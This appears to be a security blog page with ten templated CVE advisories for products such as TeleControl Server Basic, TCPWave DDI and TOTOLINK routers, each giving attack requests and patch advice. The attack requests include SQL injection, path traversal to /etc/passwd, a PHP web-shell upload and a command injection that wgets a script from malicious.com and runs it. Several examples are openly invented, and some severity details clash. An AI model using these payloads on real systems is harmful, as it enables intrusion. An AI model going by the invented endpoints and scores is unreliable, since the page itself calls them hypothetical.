Author: Ameeba

  • CVE-2025-32866: Critical SQL Injection Vulnerability in TeleControl Server Basic

    Overview

    A severe vulnerability, tagged as CVE-2025-32866, has been identified in TeleControl Server Basic, a widely used software that plays a pivotal role in the management and control of telecommunication networks. This vulnerability is of particular concern as it allows an authenticated remote attacker to bypass authorization controls, potentially leading to system compromises and data leakage.
    The vulnerability resides in all versions of the application that are less than V3.1.2.2 and may affect a significant number of systems globally. It is of the utmost importance for organizations using TeleControl Server Basic to understand this vulnerability, its potential impact, and how to mitigate it effectively.

    Vulnerability Summary

    CVE ID: CVE-2025-32866
    Severity: High (8.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise, data leakage

    Affected Products

    Product | Affected Versions

    TeleControl Server Basic | All versions < V3.1.2.2 How the Exploit Works

    The vulnerability hinges on an SQL injection point within the ‘GetLogs’ method, an internally used function. An attacker, who has gained authenticated access to the system, can exploit this vulnerability by sending specially crafted inputs through the ‘GetLogs’ method. This would allow the attacker to manipulate SQL queries, bypass authorization controls, and read from and write to the application’s database. In some cases, the attacker might also be able to execute code with “NT AUTHORITYNetworkService” permissions.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This is a hypothetical SQL injection payload sent through a POST request.

    POST /GetLogs HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "logDate": "2025-01-01', DROP TABLE users; --"
    }

    In this example, the attacker uses the SQL injection vulnerability to execute a malicious SQL statement (`DROP TABLE users;`) that would delete the users’ table in the database.

    Mitigation Strategies

    The primary mitigation strategy for this vulnerability is to apply the vendor-supplied patch. Users of the affected versions of TeleControl Server Basic should upgrade to version V3.1.2.2 or later as soon as possible. As a temporary mitigation measure, implementing a web application firewall (WAF) or intrusion detection system (IDS) can provide some level of protection. However, these are temporary measures, and a permanent fix should be applied as soon as it becomes available.

  • CVE-2025-43951: Local File Inclusion Vulnerability in LabVantage Prior to LV 8.8.0.13 HF6

    Overview

    A critical vulnerability has been identified in LabVantage software prior to version LV 8.8.0.13 HF6. This flaw, designated as CVE-2025-43951, could potentially allow authenticated users to retrieve arbitrary files from the system environment. This vulnerability poses a significant risk to organizations as it could result in system compromise or data leakage. In the realm of cybersecurity, preventing such vulnerabilities is of paramount importance to ensure the integrity, confidentiality, and availability of sensitive data.

    Vulnerability Summary

    CVE ID: CVE-2025-43951
    Severity: Critical – CVSS Severity Score: 9.8
    Attack Vector: Local
    Privileges Required: User
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    LabVantage | before LV 8.8.0.13 HF6

    How the Exploit Works

    The exploit revolves around the misuse of the objectname request parameter, which can be manipulated by an authenticated user to retrieve arbitrary files from the system environment. This is a classic example of a Local File Inclusion (LFI) vulnerability, which allows an attacker to read files that they normally wouldn’t have access to on the server.

    Conceptual Example Code

    Given the nature of the vulnerability, an attacker might exploit it using a HTTP request that looks like this:

    GET /endpoint?objectname=../../../../etc/passwd HTTP/1.1
    Host: target.example.com
    Authorization: Bearer {user_token}

    In this example, the attacker attempts to traverse the file system using `../../../../etc/passwd`, which is a common Unix-based path to a sensitive file that contains a list of all users on a system.

    Mitigation

    The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. LabVantage has issued a patch for this vulnerability in LV 8.8.0.13 HF6. If immediate patching is not possible, temporary mitigation can be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious requests containing unusual `objectname` values.
    In conclusion, organizations using affected versions of LabVantage software should take immediate action to mitigate the risk associated with CVE-2025-43951, either by applying the vendor patch or implementing temporary protective measures.

  • CVE-2025-43949: High-Risk SQL Injection Vulnerability in MuM MapEdit Web Application

    Overview

    The Common Vulnerabilities and Exposures (CVE) system has recently highlighted an alarming SQL Injection vulnerability in the Mensch und Maschine (MuM) MapEdit web application. This vulnerability, assigned CVE ID CVE-2025-43949, affects version 24.2.3 of the software. It exposes users to potential system compromise or data leakage, which can cause serious damage to both the user’s privacy and the integrity of their systems.
    As SQL Injection attacks are among the most common and severe cybersecurity threats, it is crucial for users and administrators of the MuM MapEdit web application to address this vulnerability promptly and effectively. This vulnerability matters because it could be exploited by an attacker to execute malicious SQL statements, gaining control over the application’s database server.

    Vulnerability Summary

    CVE ID: CVE-2025-43949
    Severity: Critical (9.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Successful exploitation would allow an attacker to execute arbitrary SQL commands on the application’s database server, leading to potential system compromise and data leakage.

    Affected Products

    Product | Affected Versions

    MuM MapEdit Web Application | 24.2.3

    How the Exploit Works

    The MuM MapEdit web application does not properly sanitize user-supplied input before using it in SQL queries. An attacker can exploit this by crafting malicious SQL statements and inserting them into the input fields of the application. These statements are then executed by the application’s database server, allowing the attacker to manipulate data, execute commands, or even gain control over the entire system.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. In this example, an HTTP request is made to the vulnerable endpoint, containing a malicious SQL statement in the request body.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "userInput": "';DROP TABLE users;--" }

    In this example, the SQL statement `’;DROP TABLE users;–` will cause the application’s database server to drop the ‘users’ table, potentially deleting all user data.

    Mitigation Guidance

    Users are strongly advised to apply the patch provided by the vendor as soon as possible. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These tools can help detect and block SQL Injection attempts, limiting the potential damage until a more permanent solution can be implemented.

  • CVE-2025-43946: Critical Remote Code Execution Vulnerability in TCPWave DDI

    Overview

    The cybersecurity landscape is currently facing a critical vulnerability, labelled as CVE-2025-43946, that affects TCPWave DDI 11.34P1C2. This vulnerability allows attackers to execute arbitrary code remotely via unrestricted file upload, giving rise to possible system compromise or data leakage. As TCPWave DDI forms an integral part of many network infrastructures, the potential impact of this vulnerability is widespread and severe, and therefore demands immediate attention.

    Vulnerability Summary

    CVE ID: CVE-2025-43946
    Severity: Critical (CVSS Score: 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    TCPWave DDI | 11.34P1C2

    How the Exploit Works

    The vulnerability lies in the inability of TCPWave DDI 11.34P1C2 to properly restrict the upload of files, which could be combined with a Path Traversal exploit. An attacker could abuse this flaw by sending a crafted request to upload a malicious file onto the server. Once the file is uploaded, the attacker can trigger the execution of this file, leading to the remote execution of arbitrary code.

    Conceptual Example Code

    Here is a conceptual example of how an attacker might exploit this vulnerability. Note that this is a simplified example meant to illustrate the nature of the exploit and not an actual exploit code:

    POST /upload_file HTTP/1.1
    Host: vulnerable.server.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="file"; filename="../../var/www/html/backdoor.php"
    Content-Type: application/php
    <?php
    system($_GET['cmd']);
    ?>
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    In this example, an attacker sends a POST request to upload a PHP file that allows arbitrary command execution (backdoor.php) to the web root directory of the server. The attacker uses path traversal (`../../`) to bypass the intended upload directory.

    Recommended Mitigation

    To mitigate this vulnerability, users of TCPWave DDI 11.34P1C2 should immediately apply the vendor-provided patch. If the patch cannot be applied immediately, users should consider implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent exploitation attempts. However, these measures should only be considered as temporary mitigation until the patch can be applied.

  • CVE-2025-28039: Pre-Auth Remote Command Execution Vulnerability in TOTOLINK EX1200T

    Overview

    The cybersecurity landscape is fraught with evolving threats and vulnerabilities, one of which is the recently discovered CVE-2025-28039. This vulnerability affects TOTOLINK EX1200T V4.1.2cu.5232_B20210713 and could potentially lead to a pre-auth remote command execution. As such, it is a significant concern for network administrators, cybersecurity professionals, and users of TOTOLINK EX1200T routers.
    This vulnerability matters because it can lead to system compromise and data leakage. Given the severity score of 9.8, it poses a critical risk that requires immediate attention and mitigation.

    Vulnerability Summary

    CVE ID: CVE-2025-28039
    Severity: Critical (9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and data leakage

    Affected Products

    Product | Affected Versions

    TOTOLINK EX1200T | V4.1.2cu.5232_B20210713

    How the Exploit Works

    The exploit takes advantage of a vulnerability in the setUpgradeFW function through the FileName parameter of TOTOLINK EX1200T. Specifically, an attacker can execute arbitrary commands remotely without requiring authentication. This is possible because of the lack of proper input validation and sanitization in the FileName parameter used in firmware upgrades.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited:

    POST /setUpgradeFW HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "FileName": "; wget http://malicious.com/malicious_script.sh -O /tmp/malicious_script.sh; sh /tmp/malicious_script.sh;" }

    This code sends a POST request to the vulnerable endpoint, injecting a command into the FileName parameter. The injected command downloads a malicious script from a remote server and executes it on the target system, thus potentially compromising it.

    Mitigation Measures

    The recommended mitigation measure for CVE-2025-28039 is to apply the vendor patch as soon as it’s available. In the meantime, network administrators can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures to help protect against potential exploits. Regularly updating and patching your system, as well as employing strong security measures such as intrusion detection systems and firewalls, can help protect your network from such vulnerabilities.

  • CVE-2025-28038: Critical Pre-Auth Remote Command Execution Vulnerability in TOTOLINK EX1200T

    Overview

    The CVE-2025-28038 vulnerability is a significant cybersecurity concern, primarily affecting users of the TOTOLINK EX1200T router. This vulnerability lies within the setWebWlanIdx function and allows for pre-auth remote command execution through the webWlanIdx parameter. Given its nature, attackers can exploit this weakness without any prior authentication, making it a significant threat to the confidentiality, integrity, and availability of the system. The severity of this vulnerability is underscored by its CVSS score of 9.8, indicating that it poses a severe risk to affected systems.

    Vulnerability Summary

    CVE ID: CVE-2025-28038
    Severity: Critical, CVSS score 9.8
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Unauthorized remote command execution leading to system compromise or data leakage

    Affected Products

    Product | Affected Versions

    TOTOLINK EX1200T | V4.1.2cu.5232_B20210713

    How the Exploit Works

    The vulnerability resides in the setWebWlanIdx function in the TOTOLINK EX1200T router. This function allows an attacker to leverage the webWlanIdx parameter to execute pre-authentication remote commands. An attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable router, resulting in the execution of arbitrary commands with root privileges.

    Conceptual Example Code

    Here is a
    conceptual
    example of how the vulnerability might be exploited:

    POST /cgi-bin/setWebWlanIdx HTTP/1.1
    Host: target_router_ip
    Content-Type: application/x-www-form-urlencoded
    webWlanIdx=`malicious_command`

    In this conceptual example, the `malicious_command` is the arbitrary command that the attacker wishes to run on the router. The exploit works by sending this specially crafted POST request to the target router, leveraging the webWlanIdx parameter.

    Mitigation Guidance

    Users are advised to apply the vendor patch from TOTOLINK as soon as possible to fix this vulnerability. In cases where immediate patch application is not feasible, users may adopt Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation measure to prevent the possible exploitation of this vulnerability. However, these measures are not permanent solutions, and applying the patch remains essential to ensure network security.

  • CVE-2025-28036: Critical Vulnerability in TOTOLINK A950RG Enables Remote Command Execution

    Overview

    The cybersecurity landscape is constantly evolving with new threats and vulnerabilities discovered every day. One such vulnerability, CVE-2025-28036, was discovered in TOTOLINK A950RG V4.1.2cu.5161_B20200903. This vulnerability, if exploited, allows remote command execution on the affected device. It is a critical issue as it affects TOTOLINK A950RG routers, commonly used in home and small business environments. The exploit enables potential system compromise or data leakage, making it a significant threat to the security and privacy of users.

    Vulnerability Summary

    CVE ID: CVE-2025-28036
    Severity: Critical (CVSS: 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System Compromise, Data Leakage

    Affected Products

    Product | Affected Versions

    TOTOLINK A950RG | V4.1.2cu.5161_B20200903

    How the Exploit Works

    The vulnerability lies in the setNoticeCfg function of the TOTOLINK A950RG’s firmware. This function can be accessed without any authentication, and the NoticeUrl parameter is susceptible to remote command execution. An attacker can send a crafted HTTP request with malicious commands to the NoticeUrl parameter, which the function will execute. This gives the attacker the ability to execute arbitrary commands on the device, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    A conceptual example of exploiting this vulnerability might look like the following HTTP request, where “{malicious_command}” represents an attacker’s command:

    POST /setNoticeCfg HTTP/1.1
    Host: vulnerable_router
    Content-Type: application/json
    { "NoticeUrl": "{malicious_command}" }

    In this example, the malicious_command is injected into the NoticeUrl parameter of the setNoticeCfg function, which, due to the vulnerability, executes the command. This can lead to a range of harmful actions, from unauthorized data access to a complete system compromise.

    Mitigation Guidance

    Users of affected versions of the TOTOLINK A950RG should apply the vendor-provided patch as soon as possible. If the patch cannot be applied immediately, users are advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These can help detect and prevent attempts to exploit this vulnerability. Additionally, users should always ensure their devices are running the latest firmware versions to protect against potential security threats.

  • CVE-2025-28035: Pre-Auth Remote Command Execution Vulnerability in TOTOLINK A830R

    Overview

    The cybersecurity landscape is continuously evolving with new threats emerging daily. One such security threat that has recently been identified is the CVE-2025-28035 vulnerability associated with TOTOLINK A830R V4.1.2cu.5182_B20201102. This vulnerability is particularly threatening due to its pre-auth remote command execution nature via the setNoticeCfg function, which is processed through the NoticeUrl parameter. This implies that an attacker does not need authentication to exploit the system, making it an especially severe security concern.

    Vulnerability Summary

    CVE ID: CVE-2025-28035
    Severity: Critical (9.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    TOTOLINK A830R | V4.1.2cu.5182_B20201102

    How the Exploit Works

    The vulnerability lies in the setNoticeCfg function in TOTOLINK A830R V4.1.2cu.5182_B20201102. More specifically, it is in the NoticeUrl parameter. An attacker can exploit this vulnerability by sending a malicious request to this parameter. Since the vulnerability is pre-authentication, the attacker does not need any user credentials or privileges. If successful, the attacker can remotely execute commands, potentially leading to complete system compromise or data leakage.

    Conceptual Example Code

    Given the nature of the vulnerability, an exploit could look something like this:

    POST /setNoticeCfg HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "NoticeUrl": "1; /bin/sh -c 'command_here';" }

    In this example, the attacker is injecting a command (`command_here`) to be run on the server. The `1;` before the command ensures that the command will execute regardless of the previous command’s result.

    Mitigation Advice

    If you are using TOTOLINK A830R V4.1.2cu.5182_B20201102, it is advised to apply the vendor patch immediately to remediate this vulnerability. If a patch is not available or cannot be applied immediately, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. However, these are just remedial actions and do not resolve the vulnerability. Thus, applying the vendor patch at the earliest is strongly recommended.
    As always, stay vigilant and prioritize the security of your systems. Regularly update your systems, use reliable security tools, and follow recommended cybersecurity practices to minimize risks and protect your assets.

  • CVE-2023-44755: Critical SQL Injection Vulnerability in Sacco Management System v1.0

    Overview

    The cybersecurity landscape is a battleground where vulnerabilities are exploited every day. One such vulnerability, CVE-2023-44755, poses a significant threat to any organization using the Sacco Management System v1.0. This particular vulnerability is a SQL injection vulnerability that can allow attackers to inject malicious SQL code via the password parameter at /sacco/ajax.php. The severity of this vulnerability, coupled with the potential for system compromise and data leakage, makes it a threat that requires immediate attention.

    Vulnerability Summary

    CVE ID: CVE-2023-44755
    Severity: Critical (CVSS: 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential for data leakage

    Affected Products

    Product | Affected Versions

    Sacco Management System | v1.0

    How the Exploit Works

    The exploit takes advantage of a SQL injection vulnerability. In this case, the attacker can manipulate the password parameter at the /sacco/ajax.php endpoint. By injecting malicious SQL code into this parameter, the attacker can manipulate the application’s database, potentially gaining unauthorized access to sensitive data, modifying data or even taking control of the system.

    Conceptual Example Code

    Here is a conceptual example of how the exploitation of this vulnerability might occur. Although this is simplified and not a real exploit, it helps to illustrate the concept.

    POST /sacco/ajax.php HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    username=admin&password=' OR '1'='1

    In this example, the attacker is attempting to bypass authentication by injecting SQL into the password field. This injection, `’ OR ‘1’=’1`, is a simple yet effective SQL injection attack that may trick the system into granting access.

    Impact

    A successful exploit of this vulnerability could lead to a full compromise of the affected system. This means that an attacker could potentially access, modify or delete data, perform actions on behalf of the system or even use the compromised system as a launchpad for further attacks. In addition, sensitive data stored on the system could potentially be leaked, leading to privacy concerns and potential legal issues.

    Mitigation

    The most effective way to mitigate this vulnerability is by applying the vendor patch. If a patch is not yet available or cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used as a temporary measure to detect and block attempts to exploit this vulnerability. It is recommended to apply the patch as soon as possible to fully resolve this vulnerability.

  • CVE-2023-44752: Authentication Bypass Vulnerability in Student Study Center Desk Management System

    Overview

    A serious vulnerability has been identified in the Student Study Center Desk Management System v1.0 that could potentially lead to system compromise or data leakage. Tagged as CVE-2023-44752, this vulnerability allows attackers to bypass authentication through a specifically crafted GET request. This poses a significant threat to any organization or individual employing this system, as unauthorized access to sensitive information could lead to critical data loss or manipulation.

    Vulnerability Summary

    CVE ID: CVE-2023-44752
    Severity: Critical (CVSS Score: 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Student Study Center Desk Management System | v1.0

    How the Exploit Works

    The exploit takes advantage of an issue in the authentication mechanism of the Student Study Center Desk Management System. Specifically, it involves sending a specially crafted GET request to /php-sscdms/admin/login.php. This request effectively tricks the system into bypassing the authentication process, allowing an attacker unauthorized access to the system.

    Conceptual Example Code

    While this is only a conceptual example and may not accurately represent the actual exploit, it is intended to provide a basic understanding of how the malicious GET request might be structured:

    GET /php-sscdms/admin/login.php?auth_bypass=1 HTTP/1.1
    Host: target.example.edu

    This HTTP request pretends to be a legitimate request, but actually contains a payload (`auth_bypass=1`) that exploits the vulnerability in question.

    Impact and Mitigation

    The impact of this vulnerability is significant. An attacker can gain unauthorized access to the system, potentially leading to system compromise or data leakage. This can lead to unauthorized changes to data, loss of data, or theft of sensitive information.
    To mitigate this vulnerability, users of the affected system are strongly advised to apply the vendor-supplied patch as soon as possible. If a patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure is recommended. These systems can help detect and block malicious traffic exploiting this vulnerability. However, these are temporary measures and applying the vendor patch is the recommended long-term solution.

Ameeba Chat
Anonymous, Encrypted
No Identity.

Chat freely with encrypted messages and anonymous aliases – no personal info required.

Ameeba Chat